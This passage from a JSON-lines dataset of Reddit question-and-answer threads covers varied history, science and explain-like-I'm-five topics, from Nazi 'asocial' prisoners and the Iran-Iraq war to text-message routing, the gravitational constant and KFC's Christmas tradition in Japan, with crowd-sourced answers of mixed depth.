patient with them. The new troops who only arrived after the war was over did not, really.\n\nOne *very* interesting figure in all of this was an Army Major named Irving Heymont. Heymont was Jewish, but kept that fact quiet so none of his Army colleagues knew, and served as commandant to one of the largest Jewish DP camps after the war. He wrote letters home to his wife nearly every day, and the entire set is in the archives of the Holocaust Museum in Washington (historians will appreciate just how much my wife loves this man). He talks a *lot* about how frustrating dealing with the DPs was - even basic hygiene like \"if the toilet is clogged and overflowing, please don't just shit on the floor\" was hard to get them to follow. He had to constantly remind himself to be patient with them, and more than once expressed the sentiment to his wife that he could entirely understand how someone dealing with them could develop anti-semitic feelings. After all, he was Jewish, knew exactly what they'd been through, and *still* wanted to throttle them sometimes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1yh4n8", "title": "Naval historians - A question about Royal Navy actions in Master and Commander: The Far Side of the World", "selftext": "I recently watched the film again (okay I confess I watch it all the time) and something in the early part of the film has a meaning that I don't understand. Shortly after the start, the HMS Surprise beats to quarters, preparing the ship for possible battle. During these preparations, before the enemy ship revealed itself, the crew launches their boats in a line to drag behind the ship. \n\nWhat was the point of that? Was there some tactical purpose in it? Or were they simply clearing the main deck and making more room in case of actual combat?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1yh4n8/naval_historians_a_question_about_royal_navy/", "answers": {"a_id": ["cfkk26d"], "score": [14], "text": ["Just to get them out of the way. If you ever get the chance to see a ship from that era such as the U.S.S. Constitution or H.M.S. Victory, it is amazing how small they really are, and just how many people lived on them for the size. In the books, the H.M.S Surprise was often described as small and outdated, even for that era. So space would be at even more of a premium. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1qpfzu", "title": "What exactly is the Gravitational Constant?", "selftext": "All I've learned is that it's a number used in a bunch of formulas. What exactly is it, and for that matter, how did scientists find it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1qpfzu/what_exactly_is_the_gravitational_constant/", "answers": {"a_id": ["cdf4ukz", "cdf6ta4", "cdf7kvx", "cdf7o7e", "cdf93wb"], "score": [60, 9, 24, 18, 50], "text": ["It's a quantity that represents how strong the gravitational interaction is. It was first measured by Henry Cavendish, who observed the rotation of a torsional pendulum between two giant lead spheres.", " G is the gravitational constant. If you know the mass of two objects, the distance between their centers of mass and G you can calculate the force of gravity between them by multiplying the masses together, multiplying by G and dividing by the square of the distance between them. So G(m1)(m2) / r^2 = force of gravity. \n\n\nIt was first suggested by Isaac Newton but measured by Henry Cavendish. He measured it with a beam that had a lead ball at each end. He hung the beam with a single wire at its center point. The beam started oscillating (moving back and forth) at a specific rate. He then moved two lead balls near the ends of the beam and measured how the oscillation changed. From this he was able to calculate the force that the balls exerted on eachother. His paper doesn't explicitly contain the value of G but it is trivial to calculate it from his data.", "All of what everyone is saying here is true, but I think you are kind of looking for a deeper meaning to the number.\n\nThe long and short of it is this: it's just a number that was derived emperically, as /u/iorgfeflkd said. It doesn't really describe anything in the universe except for what we call the gravitational force interaction between masses.\n\nIt's sort of like asking what the speed of light is. The speed of light is the speed at which light^1 goes. We only know what number that is because we measured it.\n\n^1 other important things go this fast, too, but that's complicated...", "I have a small addition just because no one has pointed it out yet.  The gravitational constant is based on the units being used.  It is usually given  as ~6.67384 \u00d7 10^(-11), but that is only for when you use newtons, kilograms, meters, and seconds.  If you used other units the gravitational constant would be other numbers.  It is simply the number used to make the equation (G(mass1)(mass2) / radius^2 = Force) balanced.  Other people have already described how that equation was derived.", "Like a lot of physical constants, the gravitational constant G doesn't have its value because of something in reality, it has its value because of the units we use.\n\nWe know that F=G(m1*m2)/r^2.  That relationship comes from reality, from the universe -- the force of gravity is proportional to the masses involved and the distance between them.  But we measure force in newtons, mass in kilograms, and distance in meters -- none of which came from the universe.  The constant G is used to make the relationship work in the units we've chosen.\n\nIf you express length, mass, and time in Planck units -- natural units derived from the universe -- the gravitational constant is not needed and we can just say F=(m1*m2)/r^2.\n\nAnother way of demonstrating that G is all about units and not about gravity: G is exactly the cube of the Planck length in meters, divided by the product of the Planck mass in kilograms and the square of Planck time in seconds.  No gravity involved; just redefinition of units."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "a2i9v7", "title": "if i text my friend and immediately see it pop up on their screen, how far has that text gone to get there? to space and back?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a2i9v7/eli5_if_i_text_my_friend_and_immediately_see_it/", "answers": {"a_id": ["eaylj6y", "eaylp7y", "eayluk1", "eaywkne", "eaz6szq", "eaz6us4", "eaz7h0h", "eaz7lf1"], "score": [84, 592, 34, 25, 9, 2, 4, 3], "text": ["Cell Phones rarely send signals to satellites. Normally it goes from your phone to the tower, then it is processed and either sent via telephone line to another tower and broadcast or it is automatically rebroadcast to at the same tower and sent to your friend's phone. ", "Almost certainly not to space, that takes too long.\n\nIt goes via radio to the nearest cell tower, then by fiber optic line to your cell company, then via data link (probably not the Internet) to your friend's cell company, then by fiber optic to their cell tower and then radio to your friend's phone.", "It's not a satellite phone. It doesn't go to space. Your cellphone signal goes wirelessly to the nearest tower, then passed along to a centralized system, processed, then sent to the recipient.\n\nActual total distance will depend on how far away the tower is and how far from that tower to whatever server system is doing the \"thinking\" \n\nA GPS uses a satellite signal but it's one-way, it only has to *see* the satellite to locate you on the map. Cellphone geolocation isn't done by GPS either, it's done by proximity to towers, and it's good enough to tell you when to take the next left.", "If your friend has the same carrier as you:\n\nYour phone  >  Tower  >  Base Station  >  Tower  >  Your Friend\n\nif it is a different carrier:\n\nYour phone  >  Tower  >  Base Station  >  Internal network  >  external network (his carrier)  >  base station  >  tower  >  your friends phone\n\ncell phones do not use satellites for the most part, satellite communication is expensive", "12+ years as a telecommunications engineer in the US here. It depends on a few things. Which technology does your carrier use to send the message 1x/evdo/lte? All are similar but different elements and different protocols.  Is it an IMS message or regular sms txt?  Is it same carrier or intercarrier? In general at a high level, when you send an sms it's transmitted from the field devices (base station, eNodeB, MME, SGW) to the core elements and eventually to the SMSC platform. if it's intercarrier it's transmitted as an SMPP message out through the intercarrier gateway which is an intermediary between carriers. We don't want other carriers to have direct access to our network and they don't want us to have access to theirs so we mutually agree to use a 3rd party intermediary to route sms/mms/data traffic.  Once the sms is forwarded out this gateway it's considered delivered from the sending carriers perspective, regardless of what actually happened to the message once the 3rd party received it. This is the point where it would show delivered on your phone but in actuality that may not always be the case.\n\nIf it's intracarrier the SMS is forwarded to the SMSC that's geographically closest to the destination customer. At this point, the SMSC attempts to deliver the SMS by sending pages to the device to wake it up.  Once the device sends back an acknowledgment the download is initiated and the device receives the message in reverse order through all of the network elements.\n\n & #x200B;\n\nI know others have mentioned that the message is broadcast at the local cell site.  I won't say that they're wrong but I can tell you that's not how the top tier carriers do it in the US.  All sms records are stored in a central database within the core for multiple reasons.  The messages are not just re-broadcasted locally at the cell site.  \n\n & #x200B;\n\nEdit: I always wanted to mention that we don't use satellites in any way.  We use fiber, T1 lines and microwave throughout the network.  Using satellites would cost too much in latency.  Technologies like VoLTE are extremely sensitive to latency. ", "I\u2019m not sure how far, there are tall towers that are spread out that give us phone reception. That\u2019s where the message goes. A lot like the radio in the car. \n\nIf your friends phone is with the same company, then they have the same tall tower. So the message goes to the tower and the tower says \u201cok, I know this guy, send it here\u201d. \n\nIf your friend isn\u2019t with the same company, the message goes to the tower, but he doesn\u2019t know your friend, so he asks his teacher (telephone company/phone exchange) if they know, obviously the tower has to send the message further then to get to the teacher. The teacher knows and says \u201che\u2019s in that towers class\u201d and so the message gets sent to the new tower (probably quite close to the first one, but it\u2019s still gone to the teacher and back so more distance), then the new tower says \u201coh yea, that guy, I\u2019ll send it to him\u201d. \n\nSo no, not space, just radio, and when we complain we have no reception it\u2019s because we are too far for our tower to hear us. ", "If that was the way signal worked for cell phones.....\n\nThe distance from the surface to the earth to a geosynchronous satellite is approximately 26,200 miles. So if the signal has to only travel up and then down once, the total travel distance is 52,400 miles. Geosynchronous orbit is when a satellite orbits the earth at the same speed the earth rotates. This keeps the satellite in the same position relative to earth at all times. \n\nHowever, to put the speed at which data travels into perspective, satellite internet has an average ping rating of 750 milliseconds. Which means you can transmit a signal to the satellite, have it sent back down to the providers station, have the signal sent back up and then back to your location all in 750ms. That is a total of four trips,104,800 miles in only .75 seconds.\n\nSource (am satellite technician)\n\nEdit - tried to math while high", "If your friend lived in another country then it still wouldn\u2019t go via satellite, rather undersea fibre optic cables.\n\nCommunication via satellite is much slower as it can take as much as a second or two for a signal to be sent, compared to fractions of a second for fibre optic cables. The reason for this is that the distance to travel are much shorter with undersea cables compared to a satellite and back.\n\nIf you were on a phone call the extra delay of satellite communication would be very noticeable where as there is very little delay usually for international phone calls. \n\nThe only time you would use satellites to communicate is in remote areas where there are no nearby cell towers. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "crribu", "title": "Who were the \"asocial\" people interned at Nazi concentration camps? I have read this term many times among Jews, gypsies, homosexuals, Jehova's witness, but I don't understand what it means. Were they just loners of some kind?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/crribu/who_were_the_asocial_people_interned_at_nazi/", "answers": {"a_id": ["exhvj9m"], "score": [7], "text": ["\"Asocials\" was a bit of a catch all term, and we still don't know all the different types of people imprisoned under that moniker. Some of these people were mentally ill, homeless, drug users, or alcoholic. Lesbians and other sexual or gender non conforming people other than gay men sometimes came under this label, as did sex workers. Germans caught having sexual relationships with Jews were also sometimes imprisoned under this moniker, as were other Germans who didn't follow gender or sexual rules such as German women who got abortions. Sometimes there was a political connotation, such as for classifying pacifists or others who the Nazis wanted to imprison for their refusal to work inside a fascist power structure. The term in German literally means \"work-shy\" so it was sometimes used against people who were chronically unemployed, or who refused the draft. Asocial was also sometimes the label given to certain types of criminals. Generally asocials were \"Aryan\" Germans, though there were exceptions particularly among Roma and Sinti, and were imprisoned in concentration camps in Germany, some were used as slave laborers, and others were put in semi-conventional prisons.\n\n[_URL_0_](_URL_0_)\n\n[_URL_1_](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.tandfonline.com/doi/abs/10.1080/02606755.2017.1420619", "https://www.hmd.org.uk/learn-about-the-holocaust-and-genocides/nazi-persecution/asocials/"]]}
{"q_id": "a6acj0", "title": "why is kfc a christmas thing over in japan?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a6acj0/eli5_why_is_kfc_a_christmas_thing_over_in_japan/", "answers": {"a_id": ["ebt8mjf", "ebt8odi", "ebt9sn9", "ebtqr75", "ebtxj4s", "ebudd1x"], "score": [18, 470, 70, 9, 5, 5], "text": ["Because Christmas was not well understood in Japan until recent times, so KFC took advantage of the gap by advertising its American food as traditional Christmas food. Sneaky monkeys!", "KFC put a lot into marketing. Christmas in Japan is a fun, commercial holiday. Closer to valentine's in its seen more as an adult and romantic holiday then religious or for kids.\n\nThe marketing worked, they offered much higher quality meals on top of the normal stuff, and so people liked it and it became a thing. ", "KFC was an early fast food restaurant to open in Japan, in the 1970s. One thing they started doing early on was to have a statue of Colonel Sanders outside their restaurants. At some point, someone started putting red Santa hats on Colonel Sanders, which made him look a bit Santa-like. This made people start to link KFC and Xmas, and the KFC marketers started advertising KFC as a great Xmas dinner meal. Xmas has no religious connotation in Japan as there are very few Christians. It\u2019s more of a romantic holiday, and there aren\u2019t any other traditions this would conflict with. So the advertising campaign was enormously successful and now KFC has become an Xmas dinner tradition.", "Extremely clever marketing in the 70's, since Japan didn't have any specific tradition leading *up* to Christmastime or New Year's with mealtime because there were so few Christian families, so they marketed and directly associated the KFC colors (white and red) to the already established festive colors of red and white, targetting families with a slogan 'Kentucky Christmas'.  \n\n\nEssentially there was an already existing gap that they capitalized on. ", "Take the western tradition of a turkey dinner and swap in the more readily available chicken. Japan didn't really have any Christmas traditions, so this worked pretty well as an advertising campaign and helped make KFC a strong part of the tradition.\n\nRudolph the red nose reindeer was originally advertising for Montgomery Ward, so it isn't even like Japan is all that strange.", "You're all missing one of the big reasons. Even today, most Japanese kitchens do not include ovens. They do have a small broiler for fish though. \n\nAs the post war Japanese were starting to emulate many things about western culture, like the idea of making a Christmas holiday of their own, they had no way to bake a turkey. \n\nThis is when KFC jumped in the fill the need. This was a void there that they filled and continued to successfully grow."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "4iwwlj", "title": "In traditional primogeniture, what happens with grandchildren?", "selftext": "For instance:\n\nKing A has a daughter (Ad)\n\nKing A then has a son  (As)\n\n\nThis daughter then has a son (Ags). \n\nWho is the heir when King A dies?\n\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4iwwlj/in_traditional_primogeniture_what_happens_with/", "answers": {"a_id": ["d31u5yj"], "score": [2], "text": ["If it follows male primogeniture, then it goes first to the King's son, then his daughter, then her son.\n\nIf the rule is simple primogeniture (with no regard to sex), then it would go to the eldest child first, the daughter, then *her* son, then her younger brother."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1xe414", "title": "Which muscle fibers are used during \"recruitment\"?", "selftext": "Nervous stimulation effects muscles to contract. However, there are certain restraints in place to ensure only the force needed is used. \n\nMuscle contraction is said to be an \"all-or-none\" response, meaning each stimulated muscle fiber must contract with full force- there is no in between. \n\nTo lift a weight lighter than one's maximum threshold, only some, and not all muscle fibers within a muscle are used. Similarly, when setting a weight down, some muscle fibers are allowed to lengthen, while others still operate with full force- this allows the object to be placed slowly downwards. \n\nMy question is:\n\nWhich muscle fibers are recruited? Are certain fibers let go first when setting an object down? When we lift something lighter than our maximum threshold, how does our brain decide which muscle fibers to contract, and which fibers to leave be?\n\nAre certain fibers always contracted, with more and more groups added in a specific order as the weight increases? Is it random?\n\nThanks to all the myologists out there!\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1xe414/which_muscle_fibers_are_used_during_recruitment/", "answers": {"a_id": ["cfanszm"], "score": [5], "text": ["A motor unit is a spinal motor neuron and all the muscle fibers it connects to. In general, with increasing efforts, smaller (fewer fibers) motor units are recruited first. They contract at an increasing rate until, at around 10-15 Hz, another (larger) motor unit is recruited at a lower rate. This continues until all available motor units are contracting at their maximal rates. (Maximal voluntary rates, BTW, are lower than what's possible in pathological states.)\n\nIn reverse, the reverse happens. Firing rates decline until a motor unit drops out, and so on and so on.\n\nOne of the skills of talented weightlifters is learning to recruit and fully utilize all of their motor units. It's something that takes training and time to fully control. Then you can dead-lift 450 kg."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "86swtc", "title": "how do rug burns work?", "selftext": "I know it has to do with friction, but why do rugs in particular heat up so fast.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/86swtc/eli5_how_do_rug_burns_work/", "answers": {"a_id": ["dw7k8xk"], "score": [10], "text": ["Materials like wool create a LOT of friction. Friction causes heat. You also scrape whatever limb that hits it. It's less a burn, more an abrasion"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "r1rq8", "title": "We eat solids and drink liquids. Could we even theoretically digest energy in a gaseous state? ", "selftext": "Not by breathing it into the lungs of course, but if you swallowed the air, pushing it into your stomach. Is that possible?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/r1rq8/we_eat_solids_and_drink_liquids_could_we_even/", "answers": {"a_id": ["c427k88", "c427nuf", "c427r7q", "c427stp", "c427tjj", "c427uy9", "c429955", "c429qt3", "c42c33m", "c42cwr7"], "score": [20, 10, 3, 3, 290, 2, 13, 82, 2, 2], "text": ["First attempt at answering in r/askscience.\n\nIn respiration of the cell, oxygen and hydrogen are transported out of the cell as products of glycolysis, the Krebs Cycle, and Chemiosmotic Phosphorylation.  The energy we use comes from ATP in the mitochondria of cells.  Theoretically it would be necessary to get glucose at a bare minimum as a source of energy into a gaseous state; however, glucose denatures before it's boiling point, in which I assume would inhibit it's ability to function through cellular respiration.", "You could ingest ketone gas which would condense in your stomach.", "Since your body can intake alcohol by inhalation, and you don't stay drunk forever, it must be metabolized. The way alcohol is broken down (to be less toxic to your body) is by funneling it into energy producing pathways. So yes, inhaling alcohol will ultimately lead to energy production. \n\n\nAnother point: you don't have to digest everything in your stomach/intestines. For solid foods like proteins, starches, and other foods, they are broken down from large macromolecules into smaller, absorbable compounds like amino acids and sugars. These compounds are transported through the body and broken down within cells. This is why you can get I.V. nutrients, because you can skip the stomach/intestine digestion if the molecules are already in a useable form for your cells. \n\n\nFor gases, they are likely already small molecules (too heavy wouldn't be gaseous at room temp), so you don't need that initial digestion in the stomach before absorbing into the blood, the gas molecules can absorbed through the lungs into the blood, just like oxygen. ", "I'm a bit surprised not to see anything like this on here yet, but isn't it true that our digestive system actually extracts energy only from liquids? A major part of the digestive process that takes place in the stomach involves liquefying solid food through both chemical breakdown (stomach acid) and mechanical breakdown (the grinding of the stomach walls) before passing it on to the intestines, doesn't it?", "I think I interpreted your question to mean something else. Complex carbohydrates and proteins in food are essentially long chains of polymers. These molecules won't be found in the gas phase to begin with.\n\nEdit: Somewhere is a comment by *equatorbit* -- it's another line of reasoning that's very worthwhile to consider.", "The difficulty is getting the biomolecules such as carbs into the gas phase.  Adding the energy to get it into the gas phase usually breaks down the molecules to a point where they would no longer be useful to us.  Then you have the issue of ingesting something that's really high temperature, imagine trying to drink steam.  This would result in injury to the digestive tract.  And bringing it down to a temperature that would not result in injury, would bring it back to a liquid.", "The most obvious answer I have as a chemist is that solids and liquids are extremely more dense than gases (remember how far apart gas molecules are), so you would have to ingest a TON of gas to actually get any energy.  Think of how you can smell poop molecules or food molecules but not get sick or actually take them in.  There's a evolutionary reason that this is the case.", "Physician here:  the digestive physiology is very specific.  Even solids you eat are in large part liquified. \n\nStarting with mastication, solid food is broken down into smaller, more manageable pieces.  This increases the surface area.  This is further accomplished by enzymes such as amylase and pepsin ( to name a few). \n\nThe smaller building blocks (peptides, simple sugars, etc) are then both passively and actively transported across the luminal endothelium into the portal venous system, and then to the liver.  Fats are handled a bit differently, but also head to the liver for first pass metabolism. \n\nThere is no mechanism for gaseous materials to pass. In fact, the intestine is airtight. If pressure increases enough the wall will rupture (law of Laplace).  As you can imagine, this is rapidly fatal without intervention.  There is also the problem of gas embolism in the vascularure. \n\nFurther, getting amino acids into the gaseous phase would likely break them down into unusable atomic components.  \n\nSo no, there is no way to gain energy in a gaseous phase in normal human physiology. ", "Just to be a jerk about it, we don't digest solids.  We break them down into liquids first.", "Gaseous state proves to be too volatile for substances to be absorbed. Do you encounter any gaseous organism in the wild? No, because they simply can't exist. Gaseous proteins, fat, and amino acids etc. simply can't exists while maintain their bonds to one another."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "3hocup", "title": "Why did the military leaders in the Iran-Iraq war use so many WW1 tactics?", "selftext": "I recently read a book that made reference to the trench warfare, chemical weapons, and human wave attacks of the Iran-Iraq war. I read up a bit on the war, but I still don't understand why they used these tactics. I assume poor training played at least some role, but weren't these tactics made obsolete once warfare became mechanized? I mean, both sides had modern aircraft and armor. The war seemed unnecessarily brutal and horrible, in large part because of the way both sides fought. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3hocup/why_did_the_military_leaders_in_the_iraniraq_war/", "answers": {"a_id": ["cu94zvm"], "score": [22], "text": ["The whole reason Trench Warfare developed on the Western Front in 1914 was because both sides were evenly matched in terms of numbers, weapons, equipment, tactical doctrine and logistical bases, and all packed into a confined space between the Swiss Frontier and the Channel . When the tempo of operations in the West was reduced by the winter conditions of November-December, both sides went to ground in trench systems, and were confronted with that stalemate when 1915 began.\n\nIn the Iran-Iraq War, the border between the two countries militated against maneuver operations, being mountainous along  much of it's length, and swampland in the south. Combine this with both sides having limited logistical bases, having to rely often on materiel purchased from other countries, possessing air forces and anti-tank weapons to negate the advantages of either side's armoured forces, once the initial Iraqi advance ran out of steam, it's not terribly surprising that such a stalemate resulted. \n\nChemical weapons, including Nerve Gas, were a logical if extreme response by Saddam both to the stalemate, as it had been for both sides from 1915 onwards on the Western Front, though it's use against civilians was reprehensible (like Saddam). As for Human Wave tactics, someone better versed on the Iranian militias would be welcome here, but if I'm right, both in their case, and in that of the Chinese in Korea, the armies of either side in WWI on the Western Front, and the Red Army in WWII, to describe their methods of attack as mere 'Human Wave' is faulty at best, in correct at worst. /u/elos_ and I have answered extensively on the WWI side of things, and no doubt /u/Georgy_K_Zhukov could chime in for the Red Army of WWII, but infantry tactics were vastly more sophisticated than 'Human Wave'. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2nhc3x", "title": "if the Edo period was so peaceful does that mean most Katana produced during it were never used in combat? if \"yes\" did that equate to a drop in general quality compared to the Sengoku period?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2nhc3x/if_the_edo_period_was_so_peaceful_does_that_mean/", "answers": {"a_id": ["cme2458"], "score": [4], "text": ["The katana has never been the 'main' weapon of samurai except for the Edo period when they were essentially not allowed by Imperial law to carry any other weapons and the manufacture and storage of weapons was strictly regulated by the central authorities (to maintain order and of course make rebellion incredibly difficult when your master has all the firepower). \n\nAnd while the Edo period was relatively a time of peace for the nation, that doesn't mean that there weren't battles. There were localized rebellions, separatists, bandits, religious conflicts, etc. \n\nAnd of course, there were personal conflicts between individuals and houses/clans/families. The men who had their status due to their supposed proficiency in combat and martial skill would have continued to train and prepare for eventual combat. \n\nAs the decades of relative peace and lack of major warfare distanced the warrior class from the Sengoku period and any actual major combat, combat itself and what being a samurai meant were purposely romanticized. Duels were not uncommon and of course tournaments would have been held. Men who had never seen actual war would want to prove themselves, as young men are prone to do. \n\nThis is also when the 'soul in the sword' thing began. \n\nBefore this, the true weapon of a samurai would always have been his bow. His most practical weapon would have been the spear. And his deadliest weapon would have been his firearm. \n\nThe sword has always been a sidearm at best in times of actual major conflict and was more often used to cut the heads off their kills, after they were long dead, so they could bring them back for promotion. \n\nThe quality of katana has always been questionable. The myth that every katana is a masterpiece is ridiculous, especially considering the rate that they would have to be made during wartime. They were also considered not as important to manufacture as spears. \n\nThe cost to make one katana would have been enough to make a dozen spears. \n\nThat being said, there is no doubt that there were smiths who were incredibly skilled in their art and did create masterwork swords. These, like anywhere else, were special because they were *exceptional* in their quality, not the average. \n\nThe average katana would have been decent but likely not excellent, due to the generally low quality of ore to be found in Japan. \n\nThe best pieces would have been passed down and as the katana was romanticized in the Edo period, so would it's production. Famous swords as well as their creators would become legendary. Master smiths surely lived and worked in the Edo period as they did in the Sengoku period. \n\nThe major difference would have been that they would not have been as pressured to produce pragmatically with the time and material pressures of war. This lead to more chances for more artistic pieces and selectivity in allowing only the best pieces out into the world. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "64gs08", "title": "how has human personality changed from the beginning of its history?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/64gs08/eli5_how_has_human_personality_changed_from_the/", "answers": {"a_id": ["dg219t2", "dg21w80", "dg2ff94"], "score": [12, 8, 2], "text": ["Based on historical data, humans are now, as a species, the most peaceful and reasonable they've ever been, and if that makes the past seem utterly terrifying, that only means you're sane. ", "Watch the videos of the last remaining tribes. They were cut off from the rest of humanity for thousands of years. ", "Personality is made up of traits. These traits are defined by collections of behaviours.\nThese behaviors can be linked back to neurological systems in the middle brain. Other mammals have similar neurological systems, so from this you can infer that what we call personality has been around since before humans were \"humans\" and hasn't changed over time at all! It is just expressed in different ways due to changing culture and society.\n\nHave a look at the personality literature on Google Scholar.. Panksepp comes to mind?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2793ba", "title": "what could google's plan to launch 180 internet satellites to provide internet access to unconnected parts of the world mean for countries like north korea?", "selftext": "Context: _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2793ba/eli5_what_could_googles_plan_to_launch_180/", "answers": {"a_id": ["chyro6p"], "score": [3], "text": ["Hey guys, you might be underestimating North Koreans access to electronic devices...\n\nAccording to this AMA, they have a black market of smuggled devices.\n\n_URL_0_\n\nOn the possession of cell phones:\n > It isn't just the elites nowadays--a lot of them have been smuggled into China. It's also important to remember that a slim band of wealthy villages is building up on the border with China, because these people are helping smuggle products in and out of China in the black market. So while they're not technically elite, they often have more money than you'd expect a North Korean peasant to have.\n\nAlso:\n > What I was most surprised about, and which I'm still a bit confused about, was how often the North Korean defectors could communicate with friends and family members still in North Korea. I'd assumed all of their families would have been shipped off to the gulags, but some told me they still could contact people they knew in North Korea by mobile phone, and they would often call to catch up and exchange information.\n\nI personally find impossible to believe that there is no black market at all fo such things. Just imagine how corrupt the north Korean government agents are if you think about other similar countries such as Russia, Cuba, China... Chinese and Korean smugglers would find a very lucrative market for very low end phones. If free satellite internet is available and bypasses government censorship, people will surely find ways of acquiring cheap, crappy Chinese phones that are just enough to connect to the internet."]}, "title_urls": [], "selftext_urls": ["http://m.us.wsj.com/articles/google-invests-in-satellites-to-spread-internet-access-1401666287"], "answers_urls": [["http://www.reddit.com/r/IAmA/comments/26g7b9/"]]}
{"q_id": "1kmzeb", "title": "What happened to the workers in agriculture whose jobs were taken over by machines?", "selftext": "More generally I wanted to ask \"*What happened to the people who were replaced by technology?*\", so if there is a general trend, then I would love to hear about that.\n\nHowever, the rules said to be specific, so I picked a specific case. I'm not sure what machine had the biggest impact, my guess would be the combine harvester.\n\nDid they get jobs in other sectors? Did they have to create their own new jobs? Did they go unemployed?\n\n(The next paragraph is just my own rambling)\n\nI'm asking because I was wondering what would happen if we ever invent useful artificial intelligence that would replace countless jobs. I was wondering what would happen when machines do nearly all our tasks. What would happen to the meaning of a job and wealth, and personal income? It seems to me, it would require some serious redistribution and social poltics to avoid giant social gaps.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1kmzeb/what_happened_to_the_workers_in_agriculture_whose/", "answers": {"a_id": ["cbqmg5g"], "score": [2], "text": ["The 19th and the 20th century was overwhelmingly a time of urbanization and industrialization. Largely through migration of rural population into cities, as you see in China today. Meaning that those former farmers would have found work in cities or other industrial related sectors."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ibae9", "title": "When I'm hungry, I smell food better. Is that my brain filtering information differently or is it my nose being \"more active\"?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ibae9/when_im_hungry_i_smell_food_better_is_that_my/", "answers": {"a_id": ["c22dcth", "c22fjim"], "score": [3, 2], "text": ["I don't experience this, but nonetheless it must be the former (your brain filtering the information differently).\n\nThere is no difference in the number or type of odor receptor cells or the \"activity\" of your olfactory epithelium in the roof of your nose between times when you are hungry and times when you are full.  I am also going to go ahead and assume that your breathing patterns do not change (i.e. breathe more through your nose when hungry and mouth when not hungry).", "My best guess: an evolutionary defense mechanism. When you're hungry, your brain focus more resources towards finding nourishment. It makes processes that would benefit you finding food in the wild a priority. A heightened sense of smell during hunger likely benefited a primitive human in search of food in the wild. (Not certain on this, please correct me if I'm wrong."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "434qr8", "title": "would like to hear more about subversive youth movements like Wandervogel, moral panic and WWI", "selftext": "So i just heard of Wandervogel  , a massive youth movement in Germany that apparently around 1901 was emptying colleges, basically they were inventing an alternative culture sort of like hippies:  these youth were getting into folk music, wandering in the forests, living on farms, they valued authenticity, sexual freedom  including homosexuality . apparently _URL_0_  played a role in developing this youth culture.\n\nI hear all this ruckus caused some moral panic and was a factor in sending these youth to their death at the battle of Verdun... is this an exaggeration, is there something to it?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/434qr8/would_like_to_hear_more_about_subversive_youth/", "answers": {"a_id": ["d1d5r24"], "score": [2], "text": ["This is all I know about the Wandervogel movement, that existed from the late 1890s to the mid 1930s, and was a youth response to industrialization and their increasingly polluted cities and lifestyle (they were escapist romantics).  \n\n1) Wandervogel translates to 'migratory bird' (which is how they thought of themselves, using a bird silhouette as their emblem).  \n2) Many wandervogel would play instruments as they hiked around the forests and wilds of Germany and surrounding Europe.  \n3) They'd form into bands (called bunds).  \n4) A bund would often pool their money, food and resources in order to make sure that everyone in the bund had satisfactory clothes, food and necessities.  \n5) They sometimes camped out in old abandoned castles.  \n6) They often had a unique sense of spirituality, many considering themselves pagan due to their strong connection to nature and outdoors living.  \n7) Some Wandervogel campsites were so frequently used that they became permanent camps.  \n8) Some of these camps went on to be the very first youth hostels - and the Wandervogel are why we have youth hostels today.  \n9) One such camp was known as Monte Verita or \"Hill of Truth\" and was located near the Swiss/Italian border it was later turned into a facility for alternate education; and then a conference center.  \n10) During Hitler's rise to power he banned all non-christian youth hiking groups including the Wandervogel, and attempted to fold them all into the Hitler Youth - some Wandervogel joined in order to continue their outdoor life styles - others resisted in protest. Hitler stole the image of healthy young Germans having an outdoors lifestyle and used it for propaganda purposes.  \n11) The Wandervogel never fully recovered in Europe, but through the eclectic ideas formed at Monte Verita (the most philosophical and esoteric of the Wandervogel camps) - much of the Wandervogel spirit was transported to America where it eventually fomented the hippie movement.  \n12) The Wandervogel are also where the term Lebensreform or life-reform comes from."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Gustav_Wyneken"], "answers_urls": [[]]}
